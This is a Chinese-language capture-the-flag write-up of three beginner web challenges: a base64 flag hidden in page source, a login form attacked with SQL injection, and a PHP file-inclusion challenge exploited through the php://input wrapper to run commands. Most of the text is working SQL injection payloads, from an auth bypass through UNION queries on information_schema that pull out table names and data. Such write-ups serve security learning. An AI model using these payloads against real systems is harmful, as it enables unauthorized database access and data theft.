1,wed签到题
进入靶场页面如下,先检查一下页面源代码。
得到一串编码后的字符串,bese64解码得到flag。
2,web2
进入页面是一个登陆表单,sql注入是了。
万能密码可以登陆,那么闭合差不多也就是这样。
1' or 1=1 #
这时候向闭合里拼接SQL语句就好了,使用order by来判断回显,但是始终没显示,一时间怀疑人生,虽然题目介绍是最简单的sql注入,但是还是在这一步卡了一会,参考了一下hint,还是菜了。。。。可以不使用order by,直接通过使用联合查询来判断回显。
1' or 1=1 union select 1,2,3#
判断出字段数是三,回显位是第二位,剩下来的走一趟联合注入流程了。
1,查库名。
1'or 1=1 union select 1,database(),3,4#
2,查库中表的数量。这时候要提到limit的用法了,这个语句主要用来限制回显的,具体用法给个传送门mysql中limit的用法是什么-mysql教程-PHP中文网
1' or 1=1 union select 1,(select count(*) from information_schema.tables where table_schema = 'web2'),3 limit 1,2;#--
两个表
3,显示第一个表的表名。
' or 1=1 union select 1,(select table_name from information_schema.tables where table_schema = 'web2' limit 0,1),3 limit 1,2;#
应该就是flag位置所在了。但我们还是再看看另一个表。
//查第二个表
' or 1=1 union select 1,(select table_name from information_schema.tables where table_schema = 'web2' limit 1,2),3 limit 1,2;#
表名user
4, 查表flag中列的数量。
' or 1=1 union select 1,(select count(*) from information_schema.columns where table_name = 'flag' limit 0,1),3 limit 1,2;#--
只有一列
5,查列名
' or 1=1 union select 1,(select column_name from information_schema.columns where table_name = 'flag' limit 0,1),3 limit 1,2;#--
列名也叫fiag。
6,查fiag列中的字段数
' or 1=1 union select 1,(select count(*) from flag),3 limit 1,2;#--
只有一条字段。
7,查字段
' or 1=1 union select 1,(select flag from flag limit 0,1),3 limit 1,2;#--
得到flag,这题主要了解一下limit的用法。
3,web3
进入靶场,看到提示include,这一般是使用php伪协议,那么抓包构造一下表单。
通过get传参,向url赋php://input函数,然后让其执行php语句中systeam命令‘ls’来显示网站下所有
页面。
可见有一个ctf_go_go_go index.php,我们来读一下它。
发送表单得到flag。